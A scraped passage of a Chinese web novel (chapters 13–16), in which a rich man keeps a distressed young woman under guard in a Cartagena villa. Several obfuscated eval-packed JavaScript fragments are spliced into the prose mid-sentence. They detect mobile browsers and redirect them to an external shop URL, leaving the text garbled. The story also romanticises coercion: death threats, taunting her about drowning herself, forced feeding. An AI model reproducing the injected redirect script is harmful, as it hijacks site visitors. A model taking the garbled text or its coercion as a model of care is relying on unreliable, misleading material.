拿着手机,搜索到了几个电话,她一个个打过去,电话那头此时正是白天,电话成功打通也都被接起,可得到的答案,并不如意。 “你找沈医生啊……她不在我们科室轮值了,最近也没来医院。具体的你要不问问学校。” “你好,找沈蒲蘅是吗?稍等……这位同学办理了一年休学。目前并不在学校。” “你好,找陈总?不好意思,陈总休假出国了,并不在公司。号码?不好意思,休假期间我们也联系不上陈总。” 挂了最后一通电话,沈荞颤抖着指尖,再次拨通了那个刻在心底的号码。 “对不起,您所拨打的电话已关机……” 砰—— 沉重的撞击声从隔壁房间传来,紧接着,是噼里啪啦的碎裂声,一声比一声刺耳。宋柏正解着衬衫领口的扣子,听到声响的瞬间,神色骤沉。没过多久,敲门声便响了起来。 门外站着的是李程,依旧是那副波澜不惊的模样:“老板,您要不要过去看看?” 宋柏没说话,径直推开房门,擦过李程身边,几个大步走到了隔壁房间门口。房门大敞着,守在门口的保镖不敢擅入,见宋柏过来,连忙侧身让开,让他看清了屋内的景象。 不过片刻功夫,不算小的卧室已一片狼藉。穿着白色睡裙的人,此时就像一头失控的困兽,在满地碎片里游走,所过之处,但凡能碰到的东西,都被她狠狠砸在地上。前一刻还安静乖顺的人,此刻完全陷入了暴躁与癫狂。 “老板,要不要给她用点安定?” 李程看着屋内的景象,试探着问道。回应李程的是如刀峰般的犀利眼神。 “都下去。” 李程神色微动,不敢说什么,带着门口的两个保镖默默转身离开。人都走了,偌大的二楼便只剩下站在门口的男人还有在屋里歇斯底里砸东西的白色身影。 一件一件又一件。 看似简单的房间里,实则并不简单的陈设和摆件在白色身影一行一动间,转瞬便破碎,随着残骸在地上碎成一地还有白花花的钱。寻常人看了,早就心疼着急甚至恼怒的场景,却让站在门口的男人觉着兴奋。 这股兴奋已经持续了好几天,每次刚平息下去,就会再次点燃。而点燃这把火的人,此刻正在屋内,将所有的情绪都发泄在冰冷的物件上。 屋内的东西碎得越多,宋柏心底的那股兴奋就越汹涌,直到——白色身影高高举起一个花瓶,在即将砸下去的瞬间,突然崩溃蹲下身,放声大哭。 她的哭声和她的纯善外表解截然不同,带着一股偏执的痴狂,笑和泪交织在一起,让人辨不清她此刻究竟是悲是怒。 姐姐…… 姐姐不见了……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16957774|193206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她又把姐姐搞丢了。 抱着手中花瓶,白色身影缓缓坐下,像是没察觉身下有碎片,也察觉不到痛一样径直坐下。眼看要坐到一块碎片上,纤细的手臂被擒住。 含着泪的眼眸抬起,对上了一双幽深的眼。 对上眼瞬间,本擒住她手臂的手滑到她腰间,下一秒,她被拦腰抱起。抱起瞬间,花瓶从她手中滑落。 清脆的碎裂声里,高大男人抱着她,大步踏过满地狼藉,走出了昏暗破碎的卧室,走向光明。 * 灯火通明的卧室里,宋柏陷坐在沙发里,沈荞则窝在他怀里,两眼涣散,不仅不聚焦,在医生给她处理手上和脚上的划伤时,更没有任何反应。 宋柏全程蹙眉,医生处理伤口时不免也战战兢兢。终于处理完,医生欲言又止看了眼宋柏。 “先生,可否借一步说话。” 宋柏抱着怀里人起身,把人安置在自己床上,看她躺着蜷缩着身子没动,这才转身出房。 房门外,医生早已拎着医药箱等候。 “先生,我观察她好几天了。她的心理状况,不太好。易怒、偏执,不仅有伤人的举动,还出现过轻生行为。不管是为了您的安全,还是为了她的健康,最好尽快找专业的心理医生介入,做一个全面的评估。在此之前,我可以给她开些安定,能帮她……” 医生的话还没说完,就被冷冷打断:“我知道了。” 该说的都已经说了,医生也不敢再多言,点点头便转身离开。 医生刚走,李程就拿着平板走了过来。 “老板……” 李程刚开口,就被人抬手止住了话头。 才放下酒杯的宋柏,转身走向楼下的吧台,又给自己倒了一杯烈酒。 “说。” 李程将平板放在吧台上,轻轻往前一推。 “傅英的身份很干净。美国籍,国内长大,双亲双亡,也并没有兄弟姐妹。他现在名下的哥伦比亚资产也转了好几道的,来源目前还没追溯到。” 李程顿了顿,又道:“傅英的身份信息目前查到就这些。傅小姐……不,沈小姐。她在两个月前,加入了哥伦比亚国籍。我仔细查过她的入籍资料,入籍资料原名傅薇,原国籍是中国。顺着我查了她国内的信息。她在国内的信息很少,户口本上只有她一个人,登记的是单亲家庭,母亲早年就过世了。除了最基础的户籍资料,她就像个透明人。没有任何入学升学的记录,也没有任何出入境的痕迹。直到两个月前,她突然入境哥伦比亚,还改了国籍和名字。” 端着酒的男人低头,看着平板上那张被放大的一寸照。只一眼,就能看出那照片是p的。 平静移开视线,他淡淡吩咐道:“给她补护照还有签证。” 李程愣了一下:“您要带沈小姐回国?” “嗯。” 李程颔首:“明白,我找其他人去办。这样他们即便追查,也不会查到沈小姐和您在一起。” 话刚出口,李程就觉着自己说了句废话。 发不发现的,他老板其实也不在意。 毕竟,只要是他老板想要的,就没人能从他老板手里抢走。 李程识趣闭了嘴,站在吧台边的男人则仰头,将杯中的烈酒一饮而尽。 再次回到二楼时,他路过那间一片狼藉的卧室,连看都没看一眼。挥退了走廊里所有的保镖后,他独自一人推门进了卧室。 房间里,床上的人依旧保持着他离开时的姿势,静静地躺在床上,呼吸间一点起伏也没有。 宋柏站在床边,沉沉看了她片刻,终于开口时,声音低沉,带着一丝连他自己都没察觉到的轻哄:“已经让人给你补办护照和签证了,这两天就能办好。等证件下来,我就带你回国。” 或许是他的语调太过温柔,又或许是被“回国”两个字触动到了,原本沉寂的人终于有了反应。 她涣散的视线缓缓移动,直直落在宋柏身上,眼底一片空洞。 “不回去了。” “回去了,也找不到了……” 14. 第 14 章 “不回去了?” 在卧室门口守了一夜,再见到老板,李程就听到他老板不但暂时不回国,还要去海边别墅住时,一向冷静的他也不由讶然。 “过几天就是冯家老太爷的寿宴,老太太特意嘱咐过,您务必得出席。还有,您接下来在国内还有几个重要的会议。” 话音落下,静悄悄的,没有半分回应,李程心里有了数。他沉默几秒,转而问道:“那沈小姐的护照和签证……” “照办。” 李程颔首,随即应声退下。刚踏出书房门,守在门外的许莫言立刻凑上来,压低声音问:“老板怎么说?” 李程没多余话,只吩咐:“备车。” 许莫言眼睛一亮:“要回国了?” 李程摇头:“去海边别墅。” 许莫言愣住:“不是才从那边搬过来吗?” 李程冷冷扫他一眼:“老板的意思,照办就是。” 许莫言嘟嘟囔囔地走了,李程站在原地,眸色沉沉。老板突然决定留在卡塔赫纳,又突然要搬回海边别墅,都是为了那个才认识没几天、未满二十,精神状态还明显不对劲的小姑娘。 如果只是之前的打打闹闹,也就算了。可经过昨晚那场闹剧,还有事后那小姑娘呆滞的精神状态,不用医生说,李程也意识到了不对。 原来只是以为是他老板一时的消遣乐趣,可现在,李程却觉着,这小姑娘,只怕会是个麻烦。 车子很快备好,李程候在车边,亲眼看着老板将他口中的“麻烦”小心翼翼地抱上车。他余光瞥了一眼,人依旧是双眼无神、意识涣散的模样,像一尊易碎的瓷娃娃。 不过几天,众人就再次回到海边别墅。那日留下的一片狼藉早已被收拾得干干净净,非但如此,屋里还添了不少的装饰品,昂贵且易碎。 看着老板抱着人上楼,李程照旧开始巡查别墅四周。刚走到庭院中央,手机忽然响了,是成辉的电话。 “程啊,你跟哥说实话,大老板到底打算对那小姑娘做什么?” 李程语气平淡:“不知道。” 电话那头的成辉瞬间急了:“你天天守在大老板身边,怎么可能不知道?” “我确实不知道。” 李程没有敷衍成辉的意思,而是他确实也不知道。 男人留一个女人在身边,无非就是那些心思。而他老板不同。可这几天,虽说日日将人抱来抱去,可除了那日在海里的一个吻,就再没亲密举动。 纯爱? 这词安在别人身上或许可信,可放在他老板身上,李程连想都不敢想。 “你打电话来,就为问这个?” 成辉:“不是,我还想跟你商量,再多派些人手过去给你。” 李程闻言,眉头下意识蹙起。电话那头的成辉叹了口气,语气凝重解释:“不是质疑你们的能力,是那小姑娘的哥哥已经找人找疯了。我知道老板让你去查过底细,我也不知道你查出什么,但我还是想多说一句。那小姑娘的哥哥是岑怀的小辈。岑怀这几年虽说洗白了身份,但他早年交好的都是些什么人,你我心里都清楚。能让他这么费心照拂的晚辈,关系绝对不浅。 这里是哥伦比亚,不是国内,强龙不压地头蛇。除非那小姑娘一辈子不露面或者大老板带着人回国,不然被找到是迟早的事。真要闹起来,我们未必占得到便宜。所以多派些人手过去,我觉得很有必要。” 成辉在电话那头说了一大通,这头李程抬眼,恰好看见一辆车停在别墅门口,一个气质温和的中年女人从车上下来。 “我知道了,晚点我请示下老板,再给你回话。我还有事,先挂了。” 不等成辉回应,李程利落挂断电话,迈步朝大门走去。门口的保镖正拦着中年女人核对身份,见他过来,纷纷侧身让开。李程立在女人面前,客气问道:“是钱医生吗?” 中年女人微微一笑:“你就是李先生吧?” 李程颔首,没再多盘问,亲自引着她往别墅里走。别墅内装潢奢华,钱医生却目不斜视,脚步沉稳,只盯着前方的路。 “在我见那位小姐之前,方便先和我描述下她的情况吗?最好也能让我见见家属。” 李程脸色沉了沉:“随行的刘医生已经在会客厅等着了,具体情况,他会跟您详细说明。” 女人点头:“好。” 一路走到会客厅,李程将人引见给早已等候在那里的随行医生,随即转身朝二楼走去。 二楼主卧的门大敞着,李程刚走到门边,便看见卧室露台上,两道身形悬殊的身影分坐在露台的两侧。一人望着无垠的大海,一人望着望海的人。 李程放轻脚步,缓缓走进卧室。他刚踏入,露台那头的男人便闻声回了头。李程顿住脚步,垂首低声道:“老板,医生到了。” * 身形高大的男人踏进会客厅时,正低头低声交流的两位医生齐齐噤声,不约而同站起身。 “老板,这位是钱医生。”李程上前一步介绍,随即转向女人,“钱医生,这位是我们老板,宋总。” 宋柏的目光落在女人身上,眼神锐利且带着审视的意味。女人则丝毫不见怯意,依旧是那副温和从容的模样,颔首示意。 “宋先生,刚刚刘医生已经把那位小姐的情况跟我大致说了。”钱医生开门见山,“如果方便的话,在见她之前,我想先和您聊几句。” “不用见。” 宋柏薄唇轻启,吐出三个字。 钱医生微怔,显然没料到会是这个答案。 “该知道的,你都知道了。你只需要告诉我,她现在是什么情况。” 宋柏说着,长腿一迈,径直走向沙发坐下。方才还在和钱医生转述情况的刘医生识趣起身,和李程一同退出了会客厅。 偌大的会客厅只剩下两人,宋柏抬眸,瞥了眼还站着的人,淡淡道:“坐。” 钱医生回过神,在对面沙发落座,重新拾起作为医生的冷静与专业:“宋先生,那我就根据刘医生的转述,给出我的判断。情绪极端交替、伴有暴力与轻生行为,这些都是情绪的极端宣泄表现。可能是抑郁症、双相情感障碍、精神分裂症等疾病的急性发作,也可能是创伤后应激障碍被触发后的反应——这类病症,都会扭曲人的认知与行为模式。 而这些急性症状的爆发,大多源于重大现实打击的冲击。比如遭遇背叛、至亲离世、突发重病等等,一旦超出了个体的心理承受阈值,就容易引发这类极端行为。” 她顿了顿,补充道:“宋先生,我理解您暂时不想让我面诊的顾虑。但想要更准确的诊断,面诊只是其一,最好还是带病人去医院做一套全面的检查……” “不要叫她病人!” 冰冷的声音骤然响起,打断了钱医生的话。她一怔,抬眼望去,对面原本还算平静的男人,此刻眉宇间已满是不耐。不等她再说什么,他已经径直站起身。 “李程,送客。” 钱医生虽有些意外,却也没多说什么。作为精神科医生,她见过太多形形色色的人和家属。临走前,她还是尽责地嘱咐李程:“记得温和沟通,尽量别让她单独待着。有任何情况,随时联系我。” 李程点头应下,将人送走后返回别墅,会客厅里已经空无一人。 “老板呢?”他问守在门口的保镖。 “回主卧了。” 李程仰头望了望二楼的方向,犹豫片刻,终究还是没有上去。他拿出手机,拨通了成辉的电话。 “把人先备着。” * 挂了电话,李程刚抬脚准备往二楼走,就被从厨房探出头的何婶叫住,让他帮忙端菜。 他应声转步走向厨房,刚踏进去,便是一怔。 厨房台面上,尽是红彤彤的菜色,甚至还摆着炸鸡、披萨和可乐。这些东西,在他的认知里,是绝不可能出现在他老板的厨房里的。 不等李程开口询问,何婶先叹了口气,主动解释:“沈小姐又是一天没吃东西了,就蜷在露台那儿盯着大海发呆。这些都是先生吩咐我准备的,也不知道她吃不吃。” 话音落,何婶又忍不住低声嘀咕:“也不知道沈小姐到底受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16968527|193206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么刺激,那么乖巧文静的一个小姑娘,怎么就突然砸东西了呢?” 何婶是沈荞病倒后才来的,自然没见过她失控的模样,对沈荞的印象,还停留在温顺乖巧的表面。 李程没多言语,只应了声,转身招呼来保镖,帮着何婶把满满当当的菜盘往二楼卧室的露台送。 各色的菜很快摆满了露台的长桌,保镖们进进出出忙活,窝在露台沙发里的人,却始终一动不动,连眼皮都没抬一下。 宋柏自始至终都立在一旁,神色淡得看不出半分情绪。直到最后一盘菜摆上桌,他才抬手,挥退了所有人。 喧嚣散去,露台上又只剩两人,还有一桌热气腾腾的饭菜。宋柏没半句废话,径直走到沙发前,弯腰将人打横抱起,稳稳放在长桌前的椅子上。他垂手立在一旁,居高临下看着那双依旧空洞无神的眼睛。 “吃。”他声音低沉,“吃了,你想要什么,我都给你。包括傅英。” “傅英”两个字入耳,原本神思涣散的人,眼皮轻轻颤了一下。 宋柏捕捉到这细微的反应,眉眼微动,又缓缓开口,语气漫不经心:“人我弄来给你,你想怎么处置他,都随你。弄死,也行。” “不行……”一天没开口的人,终于发出了微弱的喃语,声音轻得像一阵风,“不能弄死他……” 淡淡的话音落进耳里,本还淡然的宋柏,眉心骤然紧蹙。他话锋一转,语气里添了几分毫不掩饰的狠戾:“行。那换个说法。你今天要是不肯吃东西,我现在就派人去弄死他。” “你敢!” 两个字像是惊雷,骤然炸响。那双本空洞的眼睛,也骤然凝聚,迸射出淬着怒意的犀利锋芒。 看着那双眼终于有了光芒,宋柏敛起脸上的狠戾,勾起一抹轻笑。他微微俯身,伸手,指尖轻轻拂过她苍白的脸颊,语气里带着几分调侃:“还行,没傻透。总算还有点反应。” 话落,他眼神一变,顿然变得凌厉。 “想死?饿死多煎熬,还浪费时间。”俯着身的宋柏微微侧身,让开了她的视线,指了指不远处正浸在落日余晖里的大海,“你前两天刚跳过的大海。你可以再走进去,这一次,我会看着你进去,你下不了决心,我也可以帮你一把。然后我会通知傅英来给你收尸。” “傅英那么紧张你,你死了,你猜,他是会让你入土为安,还是烧成骨灰带在身边。到时候,你就生生死死都待在他身边了,多好。” 看似漫不经心的平静语调,却激得刚回神的人胸口剧烈起伏,呼吸急促,一双眼睛死死盯着他。而宋柏,似是毫无察觉,直起身子走到长桌对面坐下,好整以暇看着她。 “吃饭,跳海,弄死傅英,选一个。” 海风吹拂,长桌上的菜渐渐凉了,倒在杯子里的可乐,气泡也消了大半。坐在椅子上的人,绷着小脸,久久未动。坐在她对面的宋柏也不急,只定定看着她。 不知过了多久,纤细的手终于伸了出来,抓起离得最近的炸鸡,狠狠咬了一大口。嘴里的还没咽下,她就又咬了一口,一口接一口。一双眼睛,则自始至终都落在宋柏身上,仿佛咬的不是炸鸡,而是他这个人。 圆鼓鼓的腮帮子,沾满碎屑的嘴角,淬着的怒意的眼…… 宋柏就那么看着她,指尖轻叩桌面,节奏不疾不徐,像是在数她咬合的频率。 等她终于咽下最后一口,喉咙滚了滚,似是被噎到一般轻咳一声,他才起身,走到她身边。骨节分明的手拎过桌上那杯没了多少气泡的可乐,指尖擦过杯壁凝结的水珠,递到她面前。 “要折磨,就折磨别人,”他声音放得很轻,听不出情绪,“傻子才折磨自己。” 下巴绷得紧紧的沈荞,听到这句话,抬头看他,眼神依旧犀利,没有接他手中的可乐,也没有说话。 宋柏也没勉强,就那么举着。只是目光落在她沾了碎屑的嘴角时,突然抬手,粗粝的指腹轻轻擦过她的嘴角。 “不想回国,不想回到傅英身边。那就跟着我” “想要什么我都给你。以后想折磨谁,就折磨谁。” 15. 第 15 章 神经病! 沈荞看着眼前这个擦着她嘴角还大放厥词的男人,混沌的脑子里只剩下这三个字。 她心里骂着,也正要把这三个字说出。可一天没吃东西,刚又狼吞虎咽塞了一肚子油腻炸鸡,翻江倒海的反胃感先一步堵住了她的喉咙。 “呕……” 实在没忍住,沈荞捂着胸口弯下腰干呕出声。搭在她嘴角的修长手指在她弯腰的瞬间迅速撤了回去,转而捏住她的下巴。等她缓过一口气,那杯原本递在她眼前的可乐,径直怼到了她唇边。她还没反应过来,就被捏住下巴强行灌了一口。 气泡早就散尽的可乐,只剩下满口甜腻。沈荞被迫咽下,垂在身侧的手瞬间攥成了拳。拳头还没来得及挥出去,就听见男人云淡风轻的声音:“可乐,能止吐。” 沈荞顿住动作,等那股甜意滑过喉咙落进胃里,她发觉那股油腻恶心感,真的消减了不少。紧蹙的眉峰松了松,小脸却依旧绷着,透着未散的薄怒。 捏着她下巴的手这时松开,转而落在她的背上,一下一下,不轻不重地拍着。 “还喝吗?” 沈荞没应声,只伸手接过杯子,小口小口地抿着。原本混沌发沉的意识,也随着嘴里的甜意慢慢回笼,彻底清明。 宽厚的手掌依旧落在她的背脊上,沈荞喝着可乐,侧眸看向近在咫尺的那双眼睛。 他的眼睫很长,眼眸幽深,漫不经心的笑意里,藏着几分捉摸不透的沉。沈荞咽下口中的可乐,冷不丁开口:“你对我有意思?” 男人脸上的漫不经心倏地一顿,转而染上几分兴味,幽深的眸子微微眯起,眼里的笑意淡下去,露出锐利。 “哦?哪里看出来的?” 沈荞抿紧唇,没说话。 从小长在山里,后来又被傅英养在别墅里,她虽然不怎么和外界接触,但她不是傻子。她看电视看电影也看书,更何况在闻城的时候,陈延也教过她,无亲无故,没有哪个男人会平白无故对一个女人好,不是图钱,就是图色。 她还记得当时问陈延:“那你为什么对我这么好?你图什么?” 陈延笑着揉了揉她的头发,语气认真:“我和别人不一样。陈青野是我兄弟,你是他的亲戚,那我们就是一家人。” 傅英把她当妹妹,陈延把她当家人,那眼前这个人呢?她打他、骂他,甚至把他推下海,他却还要她跟着他,还说她要什么他都给。 她没钱,而且他看着比傅英还有钱。所以……除非他犯贱,不然就只能是图色。 想到这里,沈荞的眼神骤然变得犀利,死死盯着他。男人也没躲,就那么看着她,眼里的光一点点沉下去,暗流汹涌,却又噙着笑,等着她开口。 沈荞也终于开口,一字一句,清晰利落:“那天,在海里,你就是在亲我。” 真相被戳穿,男人却半分羞愧窘迫都没有。他垂眸,目光落在她沾了点可乐渍的唇角,喉结轻轻滚了一下。再抬眼时,那眼中暗藏的汹涌已被漫不经心掩盖:“所以呢?又要动手打我?” 沈荞没打他。她只是抬起手,将他亲手递过来的那杯可乐,兜头泼在了他脸上。 冰凉的液体迎面而下,顺着脸颊往下淌,男人却半点怒气都没有。水珠顺着锋利的下颌线滴落,被打湿的眉眼更显深邃。他幽深的目光落在她紧绷的脸上,满是玩味。 “我对你,没意思……只是有兴趣。兴趣嘛,可有可无。你随时可以走,不会有人拦你。”说着,他话锋陡然一转,添了几分犀利,“可一旦出了这门,你是跳海也好,被傅英找到也罢,都与我无关了。” 话音落,他直起身子,留下一句“好好想,我不急”,便拔腿往外走,留下沈荞和一桌冷透的饭菜在空荡荡的露台。 夜色渐浓,沈荞攥着手中空了的杯子,望着远处沉入黑暗的大海,又发起了呆。 不知过了多久,房门又被轻轻推开。沈荞没回头,只闻到一缕淡淡的清香。不多时,一碗热气腾腾的清淡汤面,被轻轻放在了她面前。 “沈小姐,还是先吃点清淡的养养胃吧。桌上这些我给您撤了,等您身体好些了,您想吃我再给您做。” 何婶端着没动过的红油油的饭菜下楼时,刚好撞见洗了澡换了衣服,身上还带着未散的清冽水汽的男人从隔壁房间走出来, 见男人一身齐整,连鞋都换好了,何婶默默往旁边退了退:“先生这是要出去?” “嗯。盯着她吃饭,她想吃什么就给她做。” 何婶闻言一怔,拿着手机的李程恰好从走廊另一头走近:“老板,飞机安排好了,马上就能起飞。” “嗯。” 男人大步流星往楼下走,李程亦步亦趋地跟着。送男人出了大门,看着他上车,李程关好车门,拉住正要上副驾的许莫言,叮嘱道:“跟好老板。” 许莫言笑了笑,意味深长道:“放心吧。倒是老大你,保重啊。” 车队渐渐远去,消失在夜幕里。李程站在门口,直到看不见车影,才转身回了别墅。刚进门,何婶就迎了上来。 “李程,先生这是回国了吗?” 李程颔首,应了一声“嗯”。 才说过暂时不回国,转眼就改了主意。 这世上,能让他老板这么轻易改主意的,也就只有家里那位老太太了。 突然来消息,老太太生病了,李程本该随行,却被留了下来。为的,都是楼上那个刚泼了他老板一身可乐的姑娘。 李程敛了敛眉,看向何婶,沉声问:“她吃了吗?” 被泼了一身可乐还不生气,反倒特意让何婶煮了养胃的汤面。这几日,李程都快产生一种他老板的脾气其实很好的错觉。 何婶轻轻点头:“吃得不多,但也吃了几口。看着状态也好多了,虽然还是盯着海发呆,但最起码有反应了。” 听到这话,李程暗暗松了口气。 格斗、擒拿、射击、反恐,这些对他而言都不算难事。可照顾一个小姑娘,他真是头一遭。比起他,许莫言其实更适合这份差事,但显然,他老板更信任他。 再难养,也不管多麻烦,在他老板没失去兴趣前,他得保证人活着。 * 十月的卡塔赫纳,正值雨季高峰。刚搬回别墅没两天,大雨就倾盆而至。与大雨一同袭来的,是湿热粘腻的体感。 何婶去二楼送完早餐,下楼就找到了李程,语气带着几分担忧:“雨这么大,沈小姐还是在露台坐着。虽然淋不到雨,但雨天湿气重,身上难免会沾了潮气。沈小姐就两身睡裙,再这么坐下去,都没得换了。” 一群大男人,哪里想得到这些细枝末节。李程当即从钱包里抽出一张卡递给何婶:“我让小九开车,您带着他一起去,多买几件。他家里有妹妹,也能帮着做个参考。” 何婶看着眼前的卡,没接。 “给沈小姐买衣服,当然得她自己喜欢才行。不如让销售上门吧?让他们带着衣服过来,让沈小姐自己挑,也省得麻烦。 李程一愣:“销售?” 何婶点头:“对啊。以前的雇主家的太太小姐,都是这样的。你跟着先生这么多年,先生难道都是带着他的女伴亲自到店里选吗?” 李程一哽,他老板的生活琐事,向来有秘书和助理打理,他从不插手。更何况,他老板,哪里来的什么女伴。当然,这话,李程不会和何婶说。 “沈小姐,现在不适合见太多生人。” 何婶后知后觉地反应过来:“也是。那让销售把产品目录发过来吧,我拿给沈小姐看。我怕我挑的款式,沈小姐不喜欢,也是浪费先生的钱。” 李程想了想,应了下来。 应下后,李程思来想去,还是拨通了国内的电话。电话那头,是负责打理他老板生活琐事的贴身秘书赵静。 此刻国内已是深夜,赵静却依旧很快接了电话,并且二话不说就应下了安排。她没多问一句,李程却在挂电话前,忍不住问了一句:“老太太怎么样了?是什么病?” 电话那头沉默了一瞬,随即传来清冷的声音:“相思病。” 李程一愣:“相思病?” 老太太和老爷子相濡以沫几十年,从未分离过。即便前段时间老太太跟着姐妹去非洲看动物大迁徙,也天天和老爷子视频通话。哪来什么相思病? 李程满心疑惑,电话那头的人也懒得卖关子,直言道:“思孙子……” 三个字,让李程瞬间恍然大悟。 什么生病,全是借口。 再想起他老板走得那么急切…… 走得有多急,此刻估计就得有多窝火。 李程叹了口气,其实也怪不得老太太。 两个儿子,事业都成功,可偏偏在感情这件事上,没一个让人省心的。 大儿子年近四十,在部队里步步高升,却把联姻的妻子气出了国好几年,至今没个下文也没个孩子。小儿子也就是他老板,虽才二十七岁,却已经接手了宋家庞大的商业帝国,行事雷厉,偏偏对女人视若无睹,身边连个亲近的人影都没有。 别人家早就子孙绕膝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16979539|193206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老太太却连个儿媳妇的影子都没瞧见。大儿子远在部队,接个电话都难,她也只能折腾小儿子了。 李程挂了电话,给许莫言发了条消息:【老板怎么样?】 消息几乎是秒回:【屁股都没坐热,老太太安排的相亲对象一来,老板就甩脸走了。老太太打电话,老板说,再有下次,他直接掀桌。】 意料之中。 他老板这一次没当场掀桌,已经算是给老太太面子了。 收起手机,李程仰头望向二楼露台的方向。 所以,不是他老板的脾气变好了。而是楼上那位,从一开始,就是个例外。 * 前一天打的电话,第二天销售就带着衣服上门了。 李程没让她们上楼,只叫何婶带着衣服和产品目录上去。没一会儿功夫,何婶就下了楼。李程掏出卡准备付钱,何婶却对着他摇了摇头。 “沈小姐都不喜欢,她说,想自己出门买。” 李程愣了一下,沉吟片刻,留下了一条白裙。等销售离开,他才把那条裙子递给何婶。 “既然要出门,总不能还穿着睡裙。” 何婶拎着裙子上楼,李程则转身去安排出行。 说实话,李程并不愿意这时候让人出门,毕竟照成辉的说法,那头找人已经找疯了。按他的意思,这时候就应该把人藏在别墅里,别露面的。可他老板走之前也说了,要做什么都随她。 还有就是……人关在屋里好几天了,虽说开始吃东西,却始终沉默寡言,一句话都不肯多说。好不容易主动开口要出门。他也不好不答应。万一,又把人激发作了,他也承担不了后果。 * 雨幕笼罩下的卡塔赫纳,褪去了平日里的明媚鲜亮。没了阳光的加持,满城色彩浓烈的建筑,都笼上了一层灰蒙蒙的阴郁。 车队驶过蜿蜒的海岸线,穿过斑驳的古老城墙,最终停在了老城区。阴雨连绵的日子里,老城区少了往日的喧嚣热闹,多了几分岁月沉淀下来的沉寂。纤瘦的白裙身影,就这么悄无声息融入了这份沉寂里。 李程带着人,跟着白裙身影游走在老城的大街小巷中。他看着她蹲在湿漉漉的石板路上,逗弄着巷口的小猫小狗,嘴角勾起久违的笑意;看着她走进街边一家家色彩明快的小店,挑了一件件颜色热烈张扬的吊带长裙,最后挑了一件换上,转眼就从温柔素净,变得明媚鲜活;又看着她走进一家临街的小书店,捧着一本晦涩的全英文书靠窗坐下,看得认真又专注。 最后,夜色降临,几人拎着购物袋,捧着书,护着人上车时,她还扭头对他们说了句谢谢。 回去的路上,李程透过后视镜,往后座看了一眼。后座上穿着色彩鲜亮长裙的人,此刻嘴角噙着淡淡的笑意,正望着窗外的雨景出神,眼神温柔又温顺。全然没了几天前那副疯魔又呆滞的模样。 一路平静,车队平稳驶回别墅。何婶早已撑着伞在门口等候。 李程先行下车,绕到后座打开车门。当那道明媚的身影从车上下来时,何婶先是一愣,随即忍不住咧嘴笑了起来。 “沈小姐这么穿,真好看!” 回以何婶的,也是明媚一笑,还有脆生生一句:“何婶,晚上我想吃火锅,辣的。” 见人终于恢复了精神气,还主动点菜了,何婶笑得合不拢嘴,连声应下。 刚应下,伞下的人就抬手拢了拢被风吹乱的发丝,随即转身就往雨幕里走。何婶一怔,守在旁边的保镖们也愣住了,只有撑着伞的李程快步跟了上去。 何婶扯着嗓子:“沈小姐,您这是去哪啊?” “我想淋淋雨。” 清脆嗓音落下,撑着伞亦步亦趋跟着的李程脚步也一顿, 众目睽睽之下,白皙纤细的身影,就那么毫无顾忌走进了雨幕。她踏过庭院里湿漉漉的草坪,走到沙滩前时,又弯下腰,脱下了脚上的鞋。随后就这么赤着脚,一步一步,缓缓踩上了沙滩。 冰凉的雨水打湿了她的头发,浸透了她的衣裙,她却仿佛浑然不觉,反而微微仰起脸,任由雨丝落在脸上,脸上是前所未有的舒展与惬意。 一步,一步,又一步。 就在她赤着脚踩在海浪与沙滩的交界处,冰凉的浪涛裹挟着雨水漫过脚背时,身后忽然传来一道深沉的声音。 “沈荞!” 雨幕中的人回眸。 好几天不见的高大男人,正站在离她几步远的地方,浑身同样被雨水打湿,却也毫不在意,只是朝着她,伸出了手。 “回家。” 16. 第 16 章 高大的落地窗外,大雨倾盆,灯火通明的室内,红油锅底正咕嘟咕嘟翻滚着热气。 温度适宜的餐厅里,除了火锅沸腾的声响,只有洗去一身湿冷潮气,带着同款沐浴露的清冽香气,同样清爽利落,分坐在长桌两侧的两人。 男人骨节分明的修长手指端着酒杯,对面纤细的手则握着筷子,目光直直落在锅里。氤氲的水雾袅袅升起,模糊了视线,也晕开了彼此的脸庞。即便如此,宋柏还是清晰看见她殷红的唇瓣,还有她正发亮的眼睛。 而她眼底的亮,正是因为眼前翻滚的火锅。 视线从殷红的双唇挪开,抿了一口酒后,宋柏慵懒道:“何婶这几天没给你饭吃?” 落在锅里的视线抬起,透过朦胧水雾,精准望向他眼底的红血丝里。 “这几天你没睡觉?” 虽然是反问,却是意料之外的软声软语。原本姿态闲散的宋柏动作一顿,慵懒的眼神里多了几分审视。只是这审视刚凝聚,落在他身上的视线就已经收回,重新落在了火锅上。 红油翻滚,不过几筷子就辣得人嘴唇红肿,沈荞一边吃着,一边不停往嘴里灌水。宋柏自始至终端着那杯酒,没动过一次筷子,就这么静静看着她,也看明白了她。 